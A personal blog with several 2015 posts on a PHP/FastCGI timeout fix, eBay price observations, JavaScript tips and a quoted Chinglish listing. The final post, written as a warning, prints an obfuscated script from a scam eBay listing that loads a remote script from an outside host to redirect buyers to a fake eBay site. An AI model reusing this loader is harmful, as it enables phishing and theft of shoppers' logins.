Monday, 27 July 2015

PHP as fastcgi connection timing out with apache2

Lately I have been trying to test a WordPress plugin I have been working on. Unfortunately I couldn't test it on my live server, as the build software on the webserver was too out of date to build the GeoIP apache module I needed to test with.

I thought oh well, I can at least partially test it in my local dev environment. But after getting that all set up, I kept getting timeouts when connecting to the dev site (PHP wasn't responding in time).

I tried installing the latest PHP (7 beta 2), which took about a day. (No point building the latest version of PHP without also building the latest version of its dependencies). But still the same issue!

I tried playing around with the php.ini settings, running apache with nginx off, etc. various things to try and debug the issue. Eventually I found the issue. For my PHP proxy in the Apache config I had:

<Proxy fcgi://localhost/ enablereuse=on max=10>
</Proxy>

I had copied this from a page on setting up apache with PHP running as fastcgi. I didn't know what the enablereuse=on max=10 bits actually meant. I removed them, and now it seems to be working fine.

Now I can get on with the actual testing / debugging of my script!

Friday, 3 July 2015

eBay Watchlist clean up

Yesterday I added some items to my eBay watch list, but when I later checked my watchlist, they weren't there. It seems that you can't have more than 200 items in your watchlist (I'm sure I found this out before). The problem is that when you click 'Add to Watch list' on an item, the 'Add to Watch list' link disappears, and you don't get a notification that the item wasn't added because your Watch list is full. Having said that, you don't get a message saying that the item has been added to the Watch list either, but I think it's easy to misintepret the lack of message combined with the positive action of the link being removed as meaning that the item was added to the Watch list.

Anyway, as usual, here's some info from my Watch list before I clean it up:

  • Samyang 14mm f/2.8 lens seems to sell on average for around £200 now. There have been quite a few auctions ending at less than that though (all prices including P&P):
    • Nikon Cine version £175
    • Nikon version £165
    • Canon version ended at 142EUR + postage (around £101) but didn't meet the reserve price)
    • Pentax version £131.49
    • Canon version (brand new) 255USD ~ £163.27
    • Nikon version £158
    • Canon version £123 - however although described as 'good condition' the photo of the rear element looked like it was covered in scratches
    And bear in mind that the Pentax and Nikon versions can be adapted to Canon with a £5 adapter. So if you wanted the Canon model, rather than paying £280 for the lens new from Amazon, you could have bought a second hand Pentax version plus an adapter for £136.50.
  • A Fuji 14mm lens didn't sell for £400 (inc. P&P) on Sunday evening, but one did sell on Thursday evening for £457 (inc. P&P). Yet it's generally held that Saturday and Sunday evenings are the best times to end your auctions for a good price.
  • Cokin 3 Head Detachable Flash with Filters, Manual, and Case sold for £34.90 (I think that's probably pretty cheap?)
  • Adobe Production Premium CS5 for Windows sold for £225. Seems like a pretty good deal, is a few years old now but would have been over £1000 when new, and unlike CC, you don't need to worry about keep paying to keep the software working.
  • A load of large size (72mm, 77mm, Tiffen 9) star and haze filters plus various caps sold for $1 plus postage (unfortunately postage to the UK was $35.93). Stupidly good deal for the buyer if they were in the US.
  • And of course, as usual, there were quite a few items that were withdrawn before the auction ended, presumably because the people selling didn't think the item was going to sell for as much as they wanted.
  • ROLLEI PREGO 90 AF film camera with Box, Instructions & Case sold for £14 inc P&P. I wish I'd bid a bit higher on it now.
  • HYPERKIN RETRON 3 TRIPLE SYSTEM (RED) SNES / MEGADRIVE / NES with one wireless controller, 2 SNES controllers, 3 SNES games, and 3 Mega drive games sold for £54.44. I guess that's quite a good deal?
  • Paramo Halcon Traveller - New - Large - Grey sold for £80 inc P&P - not an amazing deal, but pretty good as far as these jackets go.
  • Canon EF 500 mm f/4.0 L IS USM Lens sold for £2520 inc. P&P - very good price for this lens
  • Novoflex Castel Cross Q Macro focusing rail sold for £148.90 and £125 - both good prices for this piece of gear.
  • X-Rite i1 Display PRO sold for £92 - normally this will be in the £130+ range.
  • Zeiss 12mm for Fuji sold for £373.77 - a very good price for this lens in the UK. (In the UK it retails for around £700).

As for what I've been doing lately, I've mainly just been writing article for my photo tips website. It's currently taking me approximately a day and a half per article. For one article I really need to find a sleeping (or at least inactive) bee to photograph to illustrate the article, but I haven't been able to find any yet.

I've also been pretty hay feverish.

Wednesday, 17 June 2015

JSing

Just been doing some js work recently, so thought I'd post a few notes here for possible future reference.

The first was that I had a div that was meant to be displayed when another element was hovered over. I was doing this using mouseenter and mouseleave events. But in Safari 5.1.4 (only version I have to test on - I think it's equivalent to an old iPhone browser), this wasn't working. Inspecting the element the event was attached to, I could see the event handler had been attached correctly. But the mouseenter and mouseleave events seemed to just not be fired - the handler would not be called.

After some searching I found this question: How to emulate mouseenter and mouseleave DOM events for old browsers?, which says Unfortunately, there is a lot of browsers the wont recognize those new events... ...Safari 5.1. The solution in my case was to switch to using a combination of CSS :hover (to display the element) and mouseover (to position the element). I had to refactor my code slightly so that the element to be displayed came straight after the element that when hovered causes it be displayed. That way I could do .elThatIsHovered:hover + .elToDisplay { display: block; }.

Another thing I have been doing is refactoring some js to make it more OO. Some useful guidance on this is:

The other thing I did was implementing geo lookup based on the user's language preference set in their browser. Because the language will be something like 'en-gb', you can parse the last two chars to get the user's country. Assuming, of course, that their browser has their language set correctly. Chrome, Safari, IE, and FF all seemed to be set correctly on my PC without me having to do anything. How to get the user's preferred language is detailed here: JavaScript for detecting browser language preference.

Tuesday, 19 May 2015

Final Ethopian Emperor

Today it was quite stormy, alternating many times between sun, thick cloud, heavy rain, and hail. There was even thunder and lightning a couple of times.

The last couple of days I've been trying to fix a responsive design menu on one the sites I manage. While you'd think it should be fairly simple, the process of making the menu work well for modern browsers while still retaining a usable menu on older browsers (though not responsive) is pretty tricky. The slowness and buggy display of the android emulator certainly doesn't make the testing process quick and easy either.

Thursday, 14 May 2015

Chinglish eBay listing for a UV filter

Had too much to do lately.

Here's part of an eBay listing for 18 layers of coating pecial effect filter,W TIANYA XS-Pro 1D 40.5mm MC UV filter:

UV mirror role:

UV mirror is the most common filter, not so much that it can improve the photo effect, as it is the best digital camera lens protector in the travel process,

The wind and rain is difficult to avoid the the seemingly insignificant dust may become the delicate lens fatal killer! UV mirror role in this, not only the anti-

Ended rain or other water drops invade the lens, more importantly, can be an effective way on the lens coating is dust scratches; ultraviolet light causes color photographs

The film is blue tones, the effect of atmospheric Pan raised the black-and-white photo. UV lens filter UV, essential supplies for the landscape photographer, so go out brigade

Line, a good UV mirror is essential! (Note: UV mirror previously used to absorb UV light, but on a digital camera, this role has been cut

Weak, and now most of the human digital camera with UV lens for lens protection consider. )

For digital cameras, UV is mainly used to prevent the fingers touch the lens, dust from entering the lens. As to filter out ultraviolet function, it touches followed.

In addition, like the filters before use CPL, try to remove the UV, can reduce the occurrence of the image circle of opportunity to improve the image quality. Being on the time of the light source

, Especially in night scenes, remove the UV. Otherwise glare will be more powerful. The UV mirror can filter out ultraviolet there were no adverse image of the black-and-white and color negatives

; Can often stay in the lens as a protective mirror.

UV lens for shooting on the beach, mountains, snowfields and open area environment, can weaken due to UV-induced blue tones. At the same time for digital phase

Machine, you can also exclude ultraviolet CCD interference effect help to improve the clarity and color reproduction.

Special Note: Please buy, the corresponding lens aperture lens diameter has generally write wrong buying what caliber size shop package returned

For example: your camera lens on a 49 mm filter size the logo then buy 49 caliber, 67 to buy 67 caliber

Friday, 3 April 2015

eBay watched items clear-out

Time to clear out my eBay watched list and make note of anything of minor interest.

  • A Canon 8-15mm fisheye sold for £500 from an Italian seller, positive feedback was left so seems genuine. (Lens was new, typically sells 2nd hand for around £600).
  • Paramo Green Halcon Traveller Jacket Size Medium sold for £68.50 + £3.45 P&P. (Sells for £130 new).
  • Adobe CREATIVE SUITE 5.5 Production Premium - Windows sold for £230.36 + £6 P&P. Appears to be a genuine product, but listing stated that serials had probably already been used and the computers had been destroyed (i.e. no way to deactivate those copies). They also stated no return, so whoever bought that took a big risk.
  • Hitech 100 Reverse Grad ND0.9 Filter. Brand New sold for £30.99 + £2 P&P. Retails for £95.00 + £8 P&P new.
  • Samyang 14mm T3.1 CineLens for Canon EF sold for £144.99 + £5 P&P, but the seller never sent the item. (Usually £200-260).
  • Canon EF AF USM 200mm f/1.8 with no AF or MF and a "fairly minor scratch" on the front element sold for £775. I guess that's a good deal if the buyer could get it fixed, otherwise a rip-off.
  • Canon EF 135mm f/2.8 Prime Lens Soft Focus with hazing on one of the internal elements that results in reduced contrast sold for £63. (Normally £100+). Seems quite a lot for a lens in such a condition to me.
  • Damaged Canon EF 500mm f/4 L IS USM Lens - Spares Repairs sold for £895.99. Description was:
    CONDITION: For Parts / Repairs Only - Condition as pictured. Lens has suffered impact and liquid damage (fell onto some rocks & then into the sea). The lens glass is cracked and there is visible liquid droplets inside the lens. The housing has some chips and dents present and the lens mount is cracked / damaged (had an extender on which has snapped off when the lens was dropped and is also damaged). We have not tested the lens with a camera but considering the circumstances / condition it is most likely completely non-functional and will have internal faults and damage etc present.
    Photos showed the front element was completely smashed, though I believe the front element on this lens is actually just there for protection. So possibly you could have removed that and got back a functional lens. But given how badly smashed it was, and the information about sea water damage, I doubt it. Seems like a very high amount to pay for a lens in such bad condition to me.
  • A Sodern CERCO 94mm UV-VIS-NIR ???? was not sold for 250 USD + 33 USD P&P, but then sold later for 50 USD (same P&P). Possibly a good deal? Lens has no aperture and no guarantee that it is the UV-VIS-NIR model. Also, the images made it look like there was a black hole or disc in the middle of the lens. I'm not quite sure what that was, but it wasn't mentioned.
  • Samyang 14 mm f/2.8 UMC Aspherical IF ED Lens Nikon sold for £167.99 + £8.90 P&P. A good deal as normally sells for around £200-250.

Wednesday, 18 March 2015

eBay still allowing redirecting js in listings

Today I came across another ebay listing that redirects you to a fake ebay site, so it seems eBay still haven't fixed this problem. (Or they fixed it but the scammers have found another alternative). I guess that eBay allow js in auction listings because some sellers like to use auction widgets to show off their other items. It would be much safer if eBay just had their own widget people could use and didn't allow users to input js.

The hack looks like this, as part of the description they include the following:

<script> var _0x2786=["\x53\x43","\x52\x49","\x50\x54","\x53\x52","\x43\x3D","\x68\x74\x74","\x70\x3A\x2F\x2F","\x6C\x6F\x73\x73\x65\x72\x74\x69\x6D\x65\x2E\x63\x6F\x6D\x2F\x78\x69\x78\x6B\x6D\x73\x6E\x65\x2E\x6A\x73","\x3C","\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27","\x3E","\x77\x72\x69\x74\x65","\x3C\x2F"];var ya=_0x2786[0];var yb=_0x2786[1];var yc=_0x2786[2];var yd=_0x2786[3];var ye=_0x2786[4];var yf=_0x2786[5];var yg=_0x2786[6];var fy0=_0x2786[7];document[_0x2786[11]](_0x2786[8]+ya+yb+yc+_0x2786[9]+yd+ye+yf+yg+fy0+_0x2786[10]);document[_0x2786[11]](_0x2786[12]+ya+yb+yc+_0x2786[10]); </script>

Basically the script adds another script to the page. This other script then does the redirection. The text that makes up the script tag to add is split into pieces, and they've encoded the characters as unicode rather than using utf-8 / ascii. If you look at the _0x2786 array, it looks like this: